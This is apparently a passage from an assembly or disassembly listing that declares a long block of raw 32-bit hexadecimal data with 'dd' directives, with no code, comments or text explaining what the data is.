		dd 1A5B85BEh, 0B4309DFEh, 8092BFh, 840B167Fh, 1FE95E2Bh
		dd 67B87C0Fh, 60B42F20h, 0C072A129h, 8AB62E60h,	0E8DE40C0h
		dd 4D76A45Dh, 0CE364A13h, 38D36C05h, 66FB1892h,	37AE0000h
		dd 20DF1756h, 0CE75F775h, 8763015h, 0E65FC0F0h,	2A7846Ch
		dd 50C58C5Eh, 0F000167h, 0C89135h, 0E6CB89D7h, 0AA225BF1h
		dd 0AF05CC00h, 8A6033D1h, 7F491EBDh, 2969494Fh,	39A67E80h
		dd 1A00F3B6h, 0B0E64E0h, 3BDFB375h, 2C80C2C1h, 0ACEDC77Fh
		dd 0C6126A7Ah, 2A0F5536h, 0E9E1C056h, 0F818B870h, 726D2EFBh
		dd 0EDB900F0h, 30151F83h, 75AFDC00h, 981ED429h,	2B4800FBh
		dd 0BA49502Ah, 6B00C80Eh, 332409FCh, 0F61A93AEh, 0ABFB001Bh
		dd 791D23AFh, 9C00AC7Dh, 291742CBh, 0C86203h, 51E076A7h
		dd 306E5B97h, 51908C26h, 0BEC43818h, 18A6012Ch,	7D0443B8h
		dd 0FA78346Eh, 99304E00h, 0A753F54Ah, 22750073h, 0C9F7F39Ah
		dd 6900D709h, 0BE6D6C65h, 4D8098h, 30ADFA0Ah, 8D36BC4Ch
		dd 5E2B300h, 0A5FFBF6Ah, 0A8E909A0h, 0A0C83081h, 844880F6h
		dd 700778D8h, 3DB0268h,	3A2F0551h, 0A30DC38h, 465DDA10h
		dd 8533A518h, 0C0CE8231h, 83E860A9h, 0A06096A1h, 9B270208h
		dd 0FEFB00FAh, 11F7A20Bh, 78051209h, 3755D06Bh,	2823404Ah
		dd 3E180A00h, 0CC9C42h,	4EE68C97h, 0F06DD39Fh, 6ED140C0h
		dd 867B1F02h, 740B4E00h, 0BD96DDC6h, 13230E67h,	0C05D80D7h
		dd 0DBAFE2D6h, 5B00CD99h, 26FBD497h, 1F6836h, 0FA419AACh
		dd 91546BEAh, 0FD04A000h, 45CB4BE4h, 0DB7E38h, 0D1C14ECFh
		dd 0E80321B1h, 96910C02h, 6014A5B5h, 0F43D90h, 0E335647Ah
		dd 6749E5EAh, 563A0D0Bh
		dd 95017D1Fh, 0D4207AC5h, 0F400464Ch, 501770ACh, 7B41AFD3h
		dd 0BBF2B0h, 0FEF11DF7h, 6B21744Eh, 6E4F8C0Dh, 0F038BACEh
		dd 64D31105h, 7B28A415h, 1608B76Eh, 0EB318880h,	68D40F66h
		dd 0C5079BD0h, 0E0069016h, 0B6EE9597h, 93D47554h, 0C61D5E00h
		dd 2A50362Bh, 5DBF01B4h, 4EA0AC44h, 7DBC68C0h, 407C6E29h
		dd 266F509h, 0A430A00Ch, 0A3406C40h, 721866F1h,	0F6A0920Ch
		dd 0B9797Fh, 0BA7AAFA1h, 21E4BF4h, 87EB4C00h, 0B6F7EF45h
		dd 993C60BCh, 0C5EA6D2Eh, 81401400h, 505571DAh,	69661879h
		dd 0D61B4804h, 0FC48DF81h, 1C8D4898h, 0D2BB2000h, 0CF7F3D69h
		dd 7C122200h, 0EAFE2F25h, 0A00E0F4Ch, 5180F42Bh, 0C594595Ah
		dd 79AF6330h, 416931h, 0C8202534h, 1117E09Bh, 596F8C00h
		dd 129DD4C3h, 0B327025Ch, 0E4807125h, 0AC899090h, 19A80E86h
		dd 0D09403C6h, 57A01CE0h, 5CEF1700h, 0FFC24055h, 0BDDC1861h
		dd 6B09D1EAh, 0CB7EA900h, 90C460C5h, 180F66Fh, 6837C332h
		dd 0F4ECD8D2h, 0AF00FEF4h, 6911383h, 5A42D9F0h,	0DDACA3h
		dd 590422FCh, 0F1A5A3Bh, 5F30FAB2h, 0F355D280h,	0C300C864h
		dd 0F74C8D48h, 368143h,	0D6A2D854h, 0D7E0D0A7h,	325E400h
		dd 90B8BEA5h, 0FA5200B3h, 6D22AB40h, 2C3CB119h,	0C180750h
		dd 7EE295F0h, 5C50C1E1h, 0EA6AD60h, 0F79D992Bh,	74687FA0h
		dd 43602A9Ch, 0C136AA30h, 4B8000A8h, 81294E0Dh,	40F86CFBh
		dd 0A33F7101h, 0AB642C38h, 5613AE0h, 6AD3B7Bh, 0FEB1C025h
		dd 5618167Ah, 0F38157B6h, 0A945038Fh, 8286FBD6h, 0FDEE60B8h
		dd 654DD200h, 0EF3957E5h, 0EC8800DEh, 0D3E7D0E3h, 63603B70h
		dd 0EB5F1F91h, 0A1790B95h, 0C600B38Fh, 0E6638E11h, 752A5E18h
		dd 0BFB18h, 42B0C1ECh, 2EAF3FB3h, 6EB641C0h, 2B1310h, 0E6A7F5F7h
		dd 8496C598h, 0FAD74101h, 0A50C6D3Eh, 1276C8h, 0EA26F04Eh
		dd 19092E1Eh, 0FF5AF300h, 16AC6D71h, 4C460101h,	53630A3Ch
		dd 7DE5FCA1h, 0D9B24B00h, 57C797CAh, 0E1911C23h, 33540A6Ch
		dd 0C29F00DCh, 0DC209396h, 0D6BE1F00h, 49C5483Fh, 2DC101B2h
		dd 7257806Dh, 0E673E03Ch, 0E3FFEB1Ch, 154170C7h, 0A3D1D0F0h
		dd 785000BFh, 0B522F31Fh, 1200A47Bh, 9C88142Bh,	59C27Eh
		dd 0F1BAAA8Fh, 7C7FD4Dh, 8E978301h, 92B05FC3h, 0F06535F0h
		dd 0B2539C4h, 7CD84860h, 0FF00E0A4h, 126A614Bh,	3A5E9507h
		dd 488E6763h, 75A188B5h, 0ECA8DA8Ah, 8F073CE7h,	0BD111BA6h
		dd 60AA4110h, 92AD389Dh, 2E7DAC3Ah, 6E5068h, 7618DE79h
		dd 510C307Dh, 21170A98h, 0CFFF00F9h, 0D19B2CA8h, 571C9197h
		dd 62AA75h, 58A73C45h, 9AD795C9h, 7448D00h, 0E37C863Bh
		dd 661C01A2h, 6E6AAC9Fh, 0E84C601Dh, 3A34E100h,	61BC9BE5h
		dd 901C7CBEh, 0B050C076h, 79C01908h, 6B00C77Ch,	0DCB73A94h
		dd 7324AB9h, 0E57802EBh, 69A95365h, 8685301Fh, 186EA486h
		dd 4D740C20h, 0B0A1E84Bh, 5542FC06h, 24119148h,	1E978652h
		dd 0B9A38764h, 43BCF7B3h, 20001C3Bh, 744BA9E1h,	1C3E2232h
		dd 81917CD0h, 0EA67CB61h, 0E96883F7h, 0B0AA50BCh, 1F8682E8h
		dd 575BEEh, 39F3BFFEh, 0CB0073DCh, 0E67D481Ch, 225CABh
		dd 5D112F46h, 0B6592EB1h, 6B1B8201h, 1542EF66h,	12914FD4h
		dd 4970BDAh, 80ADDE07h,	1E3DACDAh, 0ED2E6000h, 0FBEEB50Dh
		dd 0DF98B2h, 6D41E3A7h,	3A13D0D1h, 5EE620FDh, 0BAE96500h
		dd 0B0907BD5h, 2C8032Bh, 0A978F441h, 1A69E1B8h,	968BB339h
		dd 0B600BF6Bh, 6C4035D3h, 1A97855h, 44D1CBB1h, 0E41B987Bh
		dd 1D003359h, 0E7D451BDh, 0BA50C2h, 889B2D55h, 0BEEAF1CEh
		dd 63BF4726h, 0B2E7A202h, 0B655E007h, 0F9710088h, 0AE67A9CEh
		dd 0DF072B0Dh, 6A33FDBBh, 96AF4820h, 42D00097h,	558ED46Ch
		dd 0C4025C13h, 923847BDh, 9BE8606Ah, 3A9F3D69h,	0CEE79682h
		dd 0E64018D6h, 0FEE8321Eh, 5D209260h, 72220BAh,	0CE2E972h
		dd 6035501Bh, 6B008061h, 0FF0FC1BEh, 7255E89h, 77C2834Fh
		dd 81DFC46Ch, 0F1FA03A1h, 7D57DC18h, 0EBD2FC01h, 1A9FA65Ah
		dd 49CAE0h, 72550C20h, 0F23DC484h, 32339374h, 903B20AFh
		dd 0A01423h, 244B4560h,	80AA11F1h, 51A2CA0Ch, 36A4967h
		dd 7C224809h, 0B838A9EEh, 75C89EFFh, 0D141B7DEh, 0D2FEAEC7h
		dd 20B8FAD5h, 68C9EF0Fh, 80F53CE7h, 0DB3642E4h,	8C60152Ah
		dd 91934000h, 0A21356F2h, 92BC0011h, 0D622478Fh, 0BB743132h
		dd 554EA40Ch, 1A3099h, 0F57B8A9Dh, 0B69A5AE3h, 0D2F81B03h
		dd 0F6C6EB4h, 7A6B6420h, 0B0AF0036h, 0DD837C71h, 9880DE98h
		dd 90389B6Ah, 2CCD263h,	0EDC59717h, 10E931C6h, 1E212FB3h
		dd 8002F731h, 0DB72E616h, 5A2A7184h, 93008CEFh,	46A6B770h
		dd 1DB4D7h, 9257B54Ah, 0E2AADD82h, 0DBBE6700h, 0C663769Fh
		dd 891F00A4h, 0B34B0EC1h, 0B8002035h, 52A76F05h, 0D7172Dh
		dd 28D1FE78h, 0D9EA84E8h, 0AA87D5Eh, 7E195203h,	0ACF9208Ch
		dd 0C1A3E735h, 580C2100h, 3CDBE251h, 0B4200A5h,	764CCA30h
		dd 45F28949h, 1F78EC3Bh, 0DD43EEE9h, 0E188F383h, 409CD753h
		dd 0F6BC03C7h, 32818AE0h, 71B36095h, 0F1751800h, 332DEC9Ah
		dd 0B3C70039h, 0C3558943h, 1806659Ch, 0EF4EA9B9h, 6AC72489h
		dd 28870CA5h, 3D007811h, 31730E3Ch, 79A89BA5h, 5EC318B7h
		dd 178E2097h, 761A3C00h, 0AB460F80h, 3EF4F612h,	1E9C9EEEh
		dd 45B187BBh, 19C9B6E4h, 5E557718h, 0D146D8h, 0C698AFA6h
		dd 0C095DA72h, 59299C00h, 0FAF85BD5h, 3F35F2E7h, 980C90Ah
		dd 0D8FBB6EFh, 0E000D97Bh, 68950603h, 70917Fh, 971B6718h
		dd 380E4146h, 0B7C33A00h, 669CB85Bh, 4B620065h,	0B90A3E55h
		dd 977F912Eh, 0C948BF02h, 60201026h, 0DB7C5Fh, 94285C1Eh
		dd 621D60C1h, 0D91A2900h, 69D21C4Fh, 0B56B0019h, 0C3AC77D4h
		dd 5B00F63Ah, 724C5359h, 0D68E2Bh, 0DDD0A26Bh, 0FF7F9871h
		dd 4ED5A700h, 53C9ACE9h, 0DBA50082h, 8F7C36D2h,	0D80181EEh
		dd 4FDDF5F6h, 31704324h, 38F9FA8Dh, 8500E522h, 65A5737Eh
		dd 630196CCh, 9529F1E2h, 41DD7C0Ch, 1F1951C0h, 1ED53CEh
		dd 75B5F669h, 91352062h, 48D8EC28h, 291B6800h, 25EB4C01h
		dd 45100072h, 586ED47Dh, 75030282h, 0C49FB557h,	675D809Eh
		dd 0C5720328h, 0E6095C2h, 0CA666CF0h, 0B897061Fh, 0B678AE40h
		dd 14DC10C1h, 84ADDDF2h, 70607D4Ch, 25211530h, 0F40031F8h
		dd 0FC6F71A5h, 1D9ED8C5h, 819BE975h, 0E83D625Fh, 0AAF430BCh
		dd 5A990503h, 9F43AD0Bh, 29D5BD40h, 0E59A03D0h,	0F64793B2h
		dd 0D94BA7B8h, 0AE00FD7Eh, 13ABF54Dh, 0B2D068Bh, 370DE44h
		dd 0E4643880h, 0D10B91A6h, 8101BAF3h, 0DDA08CCh, 4A961880h
		dd 0F0922EE5h, 16DC0A0Ch, 0EB44889h, 9EAC3654h,	0CF4B8123h
		dd 21A182BBh, 9320818Ah, 0CB4A2EADh, 34F4730h, 0C60E5E5Fh
		dd 1AD0D11Ch, 0D37EF517h, 4851E200h, 494CDA78h,	0E14A003Bh
		dd 1A0E7FB2h, 3C007A4Eh, 0EBB146E6h, 61D799D5h,	8A14811Ch
		dd 0F7C4D87Dh, 0D00696EEh, 0D365EDA6h, 0B0B300E8h, 873168BFh
		dd 0CB1DE21Ch, 6200160Bh, 0F2ACFABDh, 8D043DD9h, 77A7A400h
		dd 0AA0643C9h, 0CBD3AB00h, 71793689h, 0E31301BAh, 142EC872h
		dd 6493F4F5h, 3585A07h,	0B750F691h, 603FE1C7h, 221A202Fh
		dd 0D6009B67h, 6D7A873Bh, 0BDDD4Fh, 33667B95h, 8AE84E96h
		dd 7C55A40Ah, 1700B0FAh, 0A1F594Ah, 0F05758ADh,	0A93F6807h
		dd 441480FCh
		dd 4700F4B1h, 0B3217450h, 8F1AC2h, 7CF06E4Ch, 57790CCAh
		dd 0A5E22A00h, 4FA9763Eh, 4C950BE9h, 0EB003937h, 9722F70Eh
		dd 9CE41500h, 0D650D489h, 0FB85007Ah, 3652D741h, 0F23FCEB7h
		dd 8D1180B6h, 8C776956h, 1187BE9h, 28C90FECh, 0FC16F9DDh
		dd 0C500EE14h, 0AA8D633h, 18239F1h, 45671DA1h, 6B6A4353h
		dd 608CE0h, 0C1C5D23h, 55FEB633h, 0AE0E2700h, 0EE56B5F4h
		dd 0BE5400F7h, 0DB2291B7h, 8B00596Ch, 0E88E35D2h, 0FDFEB3h
		dd 9EBC3F23h, 6A106306h, 0D018BA6Bh, 19DB003Eh,	18961DD5h
		dd 91009F52h, 636067F7h, 84E4CAh, 0AEEC5EA3h, 0B62E9334h
		dd 96B3F607h, 0CCD78B12h, 52E80FE0h, 0FBF300B7h, 0A164F751h
		dd 8A001FE9h, 56D6B916h, 0E74E47h, 0B18299D3h, 2A9B0517h
		dd 8DA7ED03h, 0E0645781h, 1D6B8835h, 0FDFBEBh, 0E9A476A0h
		dd 2400309Eh, 58C55192h, 2AE2C3h, 1E47D93h, 828C5B73h
		dd 69B8DB4Eh, 0FE00BE39h, 6C505D60h, 0B5024EAEh, 14253329h
		dd 74AC8EB2h, 0F40600B0h, 0D6659E18h, 1E3232FDh, 4971D19h
		dd 73AF4D83h, 9429E0E8h, 49950099h, 651EEFC4h, 0F83B6E70h
		dd 4DAA002Fh, 0F0B0BA96h, 0B7B91922h, 8532894h,	0EA414460h
		dd 33B30120h, 3751F8BCh, 321F44D4h, 29182E4Fh, 9A4066C2h
		dd 0C43D98DBh, 5F04D528h, 0F3CF1DE1h, 539CDF51h, 0E6293818h
		dd 5177061Ah, 0A1358E2Ah, 5EA00310h, 11092411h,	0DD4C1F3Ah
		dd 26275162h, 1DE8AB21h, 881EFE01h, 88796C29h, 0B684048Bh
		dd 52053DABh, 3B8C46B9h, 4F54297Eh, 673D8D8Ch, 7C07F4B1h
		dd 0C3242FB4h, 8416B930h, 0AA54003Dh, 0CF5E52CDh, 1005AD3h
		dd 0B7CE0349h, 56DB37h,	23B5B01Fh, 0FFADAF7Fh, 99D66C00h
		dd 2B85EAAAh, 41D9039Bh, 3308C305h, 0EE6E38F8h,	75E77A00h
		dd 3D532A5Bh, 118B00E1h, 0AB8DF3F7h, 721CF9CCh,	7B00BC02h
		dd 0F160EDACh, 0CDE90188h, 0FD6C6627h, 439DC059h, 0C6DBB001h
		dd 10162A35h, 9AD2D0h, 510F2CF9h, 8F7A656Eh, 55711E00h
		dd 2864A661h, 0AB7C240Dh, 879B802Ch, 0FB78E843h, 0CE54B01h
		dd 9A278172h, 7C663BD0h, 41F900E7h, 330659DBh, 4E5C6588h
		dd 9093009Eh, 0C9A7C552h, 1DE789Eh, 0DAB101E5h,	0E0D13DB2h
		dd 7E0EEEC6h, 40AB0C55h, 7422999Dh, 807502B8h, 6F77D9FAh
		dd 0A47B7040h, 679EAF50h, 13008BE6h, 68223410h,	1E9024C9h
		dd 0FD91C2DEh, 653C4A48h, 431ECD1Eh, 0FB9D4B92h, 16FD44F8h
		dd 72262300h, 2ED1B8BFh, 0E0B5FEA9h, 9089006Ch,	4B70846h
		dd 0CE00DAC3h, 0E3A4266Ah, 0A653E0h, 22A51837h,	49D4C020h
		dd 83E1C100h, 87BE6A15h, 0FDD80E29h, 4C1602Ch, 780E44B5h
		dd 75C63D0Fh, 0F1958100h, 201E4C12h, 667F164Eh,	443600B1h
		dd 81EBD438h, 98F59C00h, 0BC5701C1h, 532800C0h,	0CD903530h
		dd 0B006659h, 84344A14h, 38CBE4h, 270DE7A2h, 0D3122A18h
		dd 1740B600h, 851ED4BDh, 3E3F005Ah, 77C82BC3h, 8B011CEAh
		dd 0D5EFA0EDh, 92ECF102h, 869100D3h, 45545DC2h,	7E134EE4h
		dd 20001032h, 7D162756h, 0B3AA0022h, 4C1DC855h,	70002C05h
		dd 0F96FDE52h, 2FB0B1h,	0E577F515h, 6D78D1A0h, 9245B73Bh
		dd 540FFA81h, 92D3077Fh, 0ADF01E0h, 64910B8Fh, 9C00AF65h
		dd 2FBC6BA7h, 0FAC5B000h, 0EF3FA64Ah, 77411D32h, 35B3076Eh
		dd 3A79C767h, 0B8BA0BB4h, 0A9F95000h, 42009039h, 4D3FD8C6h
		dd 5E3492h, 1980985Ch, 0C8230BA6h, 8E629300h, 3F31767Ch
		dd 87490035h, 0DDB53CC3h, 34005271h, 0DCE589ADh, 765CAB3h
		dd 67A2FB4Fh, 0A8873932h, 4E721037h, 8E00C833h,	0F3CE2779h
		dd 2451F48Ch, 8F38021Dh, 0BE610F04h, 20879060h,	0A70F0A21h
		dd 6BD444h, 0A1F7BF2Eh,	352B1C7Dh, 7B927Eh, 51CEA008h
		dd 3C0006ADh, 64F3427Fh, 0CF4C578Dh, 5BE3D134h,	0A9D00D47h
		dd 6E007904h, 6F850649h, 92F37Bh, 8177FA5Fh, 0D8FC7F33h
		dd 3A7BB44Ch, 0B0B20078h, 582E570h, 16C80079h, 109D195Dh
		dd 71015955h, 935CE6B9h, 0EDCCCCDFh, 0CE4A01B7h, 81F22674h
		dd 5EDB30CAh, 1AB98A00h, 3C580CC6h, 3E2F0024h, 9BEF7E93h
		dd 38382629h, 0F7F00CECh, 9031F0D0h, 55D300D4h,	98FA6EE1h
		dd 6AF89205h, 2D4CEC00h, 671E7B56h, 910D00A3h, 1A06C1C7h
		dd 2E008AAEh, 4AFB4746h, 72184D3h, 0EC516E9h, 0C41CA33Eh
		dd 901AA787h, 71D02211h, 37AC4E38h, 0F36046E9h,	3125090h
		dd 0DD32A140h, 81D809DCh, 28134B35h, 7B00D014h,	0BC79A4F8h
		dd 0DE24Ch, 95689AC5h, 7FE6A183h, 4B7E2600h, 173AABFFh
		dd 0E04E02E3h, 0A77C769Ch, 9A79EF40h, 4283B303h, 0D9E5D868h
		dd 0F440CE62h, 0C377FCh, 7EDA810Fh, 0C8CCF22Fh,	13A97F00h
		dd 7A42B57Ch, 0D9BD1EC7h, 935B80A3h, 8DC84D2Fh,	416438h
		dd 0A58B22A2h, 0CE334Fh, 2AF8F7A4h, 0E23BE36Ch,	98AACD02h
		dd 809E7042h, 0D44CA4ECh, 837CEDh, 975BADEh, 15287DC6h
		dd 0C400A298h, 0A3D8DC87h, 166390C1h, 672337h, 0ABFC65C9h
		dd 4E00E8E0h, 34499164h, 0FBE741CBh, 10A9420h, 6EF70731h
		dd 0ED775381h, 0DF1DE8F6h, 93E47400h, 7E89B917h, 85D30721h
		dd 60EFE228h, 0C849081h, 983A1800h, 2B1D06EEh, 36393AD7h
		dd 0E0CE824h, 56A522B0h, 0D314837Ch, 0A571B1F8h, 7088D003h
		dd 88AFA1A7h, 1E198352h, 6C1D9FD6h, 5D78843Ch, 11C7035Ch
		dd 5B93809Bh, 29C900F0h, 0D0D68ABEh, 38008950h,	4A4D96E2h
		dd 5033EDA8h, 60DD9F7Dh, 0BC40189Bh, 3177B532h,	53B71C01h
		dd 1EAE7DFEh, 76F3420h,	1026E13Eh, 0A2C5B77Fh, 54602E46h
		dd 3001D880h, 8412BE49h, 26FC694Bh, 8F300E3h, 0DFAEE6F0h
		dd 0DD009AC8h, 0B382C914h, 8A6529h, 0FE49A285h,	665AD261h
		dd 0C64B800h, 658E1EBDh, 0FCB030EBh, 0AC253808h, 4B302400h
		dd 482EC413h, 8510E9Ch,	83A07245h, 7703F980h, 9497E100h
		dd 217F7DB9h, 0B750018Fh, 189E13DBh, 0E40ECD74h, 8609FD8Ch
		dd 0D8146605h, 6DD100F8h, 33B28B35h, 1A12C5FBh,	0EA0086EEh
		dd 6FC310B1h, 8BEC2420h, 39B8002Ch, 97B712DCh, 0E700537Ah
		dd 0FDB1178Fh, 3F84097Bh, 0EF0B9DD6h, 0C3805615h, 0BD52A572h
		dd 0DB87EA07h, 0BFD054DCh, 4132237h, 1CCB806Ah,	962C8070h
		dd 0B80E2E12h, 0D3828325h, 2AE29801h, 53AEB29h,	0C0C9F584h
		dd 0AB36A27Bh, 0ECD4F824h, 2F166700h, 0BDBA6F0h, 405A3F51h
		dd 0C005E407h, 2D633B4Ah, 77D30700h, 0CE651C4Fh, 0EB3D26F9h
		dd 3860008Eh, 8AA1CC20h, 0D3D18000h, 0B38F6EAEh, 74B0C4h
		dd 75269884h, 0C184135h, 93E038h, 0DA7F3E4Bh, 0F65EE2h
		dd 756CBABh, 3D05BF36h,	0EAE6C301h, 0E7BD1EAFh,	8B84C8h
		dd 0B5B61C4Eh, 0CEDD35ADh, 79007D90h, 688A12E8h, 7C9CE397h
		dd 82F700C9h, 5A74BF7Eh, 0B173D7Dh, 0D01C92EBh,	77BA52C0h
		dd 3D1E971Fh, 0A13FFC76h, 0F274D200h, 436F9E45h, 0A49D59h
		dd 0E7111301h, 0F38B50h, 8F73987Dh, 0AF6281F9h,	23E17105h
		dd 0AC01EAC5h, 1392008h, 5B94B840h, 0FFCD0121h,	0AC38BFEBh
		dd 54C8EC0Bh, 6AA4FC00h, 22397B49h, 9DE0685h, 38D7C081h
		dd 0D00317Dh, 0A773BA94h, 1CEAAACAh, 445CD40Ch,	805A20EDh
		dd 9D31AC48h, 0F5692B07h, 0DE30EF4Bh, 40EC6Eh, 7047079Bh
		dd 50C8C01Eh, 0B63B10B0h, 6ADA9D3Ch, 0F8CAC00h,	381A061h
		dd 0CBC5308Dh, 2AD0ADEBh, 600E4CFAh, 0E1200A5Ch, 62C71906h
		dd 0F48770h, 68FE6C8Bh
		dd 23A41874h, 75EC8419h, 288045F0h, 0A2A94DCh, 0A90F14DEh
		dd 639C46FAh, 0B0373ED5h, 0FD8874h, 0C93BAFF7h,	90D8CEA2h
		dd 67309217h, 0EEE91000h, 0E9128974h, 0B0E0B043h, 0B2487Ch
		dd 0CEDC58D7h, 90DB53Eh, 69732900h, 43868220h, 4C9CB864h
		dd 702E047Ah, 0D27F008Dh, 0AD736A9Dh, 0D635C600h, 786BF2B2h
		dd 2E1900B6h, 48FF1503h, 7200966Fh, 74F1937Ch, 14BC9CCh
		dd 29F85D97h, 30F9067Ah, 7217DD48h, 48003691h, 0B00F59ACh
		dd 0CA2E00BDh, 0BCC8207Ah, 0B200DA4Dh, 0C16775A2h, 9C78701h
		dd 0ED6B10A5h, 0D77F7880h, 7700136Fh, 0C0F0A709h, 90F4FDE0h
		dd 1E5A0018h, 0BE305CD3h, 0DA000E05h, 0B35FBF77h, 4C4B6939h
		dd 1800DF78h, 19CC94F2h, 0A8E6C47Ch, 0C0500D00h, 0EB2F332Dh
		dd 1040B725h, 0B600EA65h, 0BCAE582Ah, 0DA2E34h,	64A8495Fh
		dd 20CBC9D7h, 1B4C0A00h, 63977169h, 0E1071773h,	3DBC03C8h
		dd 0DFF80B25h, 0FF0009D9h, 0E34E4A8Ch, 16601Bh,	0C305DD50h
		dd 0BC27C1A2h, 0EE00EA76h, 0E7543484h, 2E496C08h, 392CE991h
		dd 6F4CC180h, 85F19E23h, 0EA0DBF00h, 99B4F35Ch,	58350052h
		dd 4695093Ah, 400B668Ah, 14F69Ah, 0AF16545Ch, 0FCEA7293h
		dd 7A9500B2h, 0EBDCF9C1h, 4E2FBD1h, 0C5329D0Dh,	85E8B883h
		dd 297803F6h, 0EBC0805Eh, 6B6DCFC0h, 688E561Dh,	81E1240h
		dd 1C8CB64Ah, 0C0B38B32h, 197F9047h, 3042533h, 9AFABDEAh
		dd 0F1FF2880h, 48447449h, 3F03F685h, 7B66E24Fh,	0E3243DB0h
		dd 0D2785A00h, 3940BB64h, 3A842662h, 0C0DE1D44h, 0D4A92B81h
		dd 8B004F4Eh, 1F8AAF85h, 18F713h, 0C90C4B10h, 1B018892h
		dd 31BC3254h, 76D51100h, 0E37E06FAh, 7990033Dh,	0DBCEAE5h
		dd 7C1D4BF0h, 4239C700h, 7FF53110h, 3AA800A1h, 0E0CCA493h
		dd 1DECACA5h, 8E8F9D07h, 2D8458Ch, 24AA1A5Bh, 0BEE3DC83h
		dd 3BB080B0h, 3948B302h, 0E057C270h, 3A303EC8h,	501F081Ah
		dd 9882C483h, 0AA488854h, 0EBBDBE13h, 12EC404h,	40731DFEh
		dd 497B933Eh, 57E8C931h, 40F41400h, 15DFD08Eh, 29D700DAh
		dd 0B77D4918h, 0B33C9C94h, 0A3241DA5h, 0E336E405h, 0C6E5C00h
		dd 20341Fh, 37B245B0h, 0ABD0BB28h, 7D407E00h, 3C48E3A6h
		dd 63040267h, 16DDA9CBh, 0E578B280h, 0FEE4ED42h, 670194E6h
		dd 0AADC1233h, 0F3C4CB20h, 4DA0048h, 743A0743h,	0F5582497h
		dd 85C70CC1h, 0A53090h,	0AD357AA6h, 39F9B358h, 662ED6F2h
		dd 0D1D88D9h, 0C1947C80h, 0EBAA550Ah, 0BDF0F4h,	0D10901EFh
		dd 0F29D6EDh, 4A1B38h, 0DB126006h, 0E4C73389h, 1FF900B0h
		dd 0F6270D8Ah, 2838869Bh, 0CBEF0056h, 0B86EB403h, 3C7DE8AFh
		dd 0D300358Dh, 0C615D974h, 75002596h, 0C527F3AEh, 504B9E94h
		dd 28DAF7h, 212620E7h, 1FFA0FA5h, 92E9A116h, 570C0812h
		dd 5624B8EBh, 0FA03FC25h, 3B210747h, 0BDB16AB8h, 0AB6C8700h
		dd 0FB23C742h, 66830E34h, 8000D801h, 0D7E7B581h, 0B78EDA0Ch
		dd 0F8B61869h, 0BA6A0EACh, 0A847E44Bh, 0A288D07Fh, 0D378EB08h
		dd 0C6F01100h, 0E1C382A1h, 7E0F2E65h, 6E190F4Dh, 45BA2CA0h
		dd 0A9138476h, 32024B56h, 608FD868h, 0D16DE8h, 8C6CDDA2h
		dd 9D6557F9h, 6A20FC60h, 28B4A364h, 18A8A08Dh, 485A565Dh
		dd 5F05B942h, 0E4834B09h, 0E8EC12C0h, 36FA0172h, 4FC2B428h
		dd 0A11060D2h, 5221501h, 2D787996h, 0B46C20h, 41995AF4h
		dd 0DD0F6910h, 288953Fh, 8B403D42h, 8529619Fh, 3BC4C0FAh
		dd 7339FE7Eh, 0BAA426D3h, 0C0979E80h, 51A77F0Ch, 8DE22E31h
		dd 9EB8C900h, 81EBE00Dh, 50B70017h, 9C748F98h, 8E1F4AB1h
		dd 3C0049B6h, 97AA4B63h, 0D1A62C7Ah, 0EB960094h, 18D428ACh
		dd 649B700h, 4ED39BBDh,	0A3481DC2h, 1425C0EAh, 24154A60h
		dd 0F2764Ch, 0DA9B897h,	4E8F74h, 67DE2502h, 890F4ADh, 88E33413h
		dd 506630C0h, 0C2C0333h, 0D884FB39h, 0F48AC0A0h, 0C1F22601h
		dd 0A681BD69h, 0FCF63DCh, 0ED08433Fh, 0B5CEB8C0h, 87071135h
		dd 0D2B4A2A3h, 0E692B9D7h, 21D8C0E3h, 3736244Ah, 1B8509D4h
		dd 0DD973440h, 0F178D3Ah, 0C0D9DEC0h, 0C91265E2h, 140B0027h
		dd 38161DBCh, 691E3D0Ah, 0B200CD6Eh, 0F2B0E56Fh, 0EA9D0459h
		dd 0F4D3B849h, 0AB00FD54h, 93DFFB2Eh, 241C98E4h, 50AFCFh
		dd 0FEA21AF4h, 50043BAAh, 82840AD5h, 0AC2AF890h, 0FB5B0380h
		dd 0FC43B3A2h, 68C3680Ah, 0E48FF0EFh, 0B44A6186h, 68700F66h
		dd 184200A4h, 0A8896D98h, 7A00038Ch, 0FF85E73Ch, 0F434AEh
		dd 8A94621Fh, 76A1A472h, 7CFBF026h, 0A0C7CB0Eh,	0BC63D8A8h
		dd 0F9BA0592h, 0C7C56F20h, 0D486008h, 67006213h, 0C83D5A10h
		dd 72DAC112h, 0FCC390F3h, 686E3F34h, 1BBD013Dh,	0CFA80072h
		dd 9E9BCC58h, 81F84B6Dh, 0D514C202h, 60C00FF2h,	0AE363F8h
		dd 5F05271Ch, 7A003CF4h, 226BF611h, 5900AD8Dh, 0BD57B808h
		dd 885C31h, 0C6F12F49h,	8AC3E099h, 28F45F00h, 69D80860h
		dd 95410035h, 0A14F8457h, 0CF01DD7Ah, 82B50CDCh, 0C6DB8A5h
		dd 68B90D00h, 91C99961h, 7EE0DC00h, 74321A9Ch, 0E40402B7h
		dd 8408C6FFh, 2CE53068h, 90CA4600h, 552E94BCh, 0FA4700A7h
		dd 2CCB577h, 38090AF3h,	800DC58Ch, 0F6CA84E0h, 99800093h
		dd 3986A296h, 0F7000E5Eh, 0A91A19DEh, 482B73C2h, 7917F4F4h
		dd 0DB0821B9h, 6143046h, 894C906h, 105323h, 4C090E7Bh
		dd 0A80BCF8Ah, 0D6559113h, 0AA435C00h, 48D1F5BFh, 4001608Ch
		dd 0BBDBA411h, 0F127CC45h, 1C3F6300h, 43875529h, 0EA0771C2h
		dd 9176259Ch, 4186E000h, 0D479461Bh, 0A8B59226h, 0A0409F0Fh
		dd 2F683EABh, 0DE7703C8h, 399CBE9h, 109013F8h, 326A820Eh
		dd 64FBEEF0h, 0CFC02F4Fh, 0F8A5B297h, 4CE8001Fh, 0F237991Eh
		dd 5E00BA3Dh, 0F7557E1Dh, 0EC2DDCE6h, 1C7207CBh, 0AF3087h
		dd 0AD50DA22h, 29F76300h, 1E3D3AABh, 75F0021Fh,	0A502AA1Bh
		dd 57541640h, 0E5F49501h, 0EEB9FEBFh, 492C70h, 1A53B207h
		dd 5B7913AFh, 0C89EF73Dh, 0D27C079Ch, 0E250586Ch, 705CD45h
		dd 0CBF04D62h, 0F567E3FDh, 0C8FB06A8h, 9A36EA00h, 8F3143A6h
		dd 0E1100BDh, 0E7F59204h, 121C509Fh, 70AE6EDEh,	0F293E200h
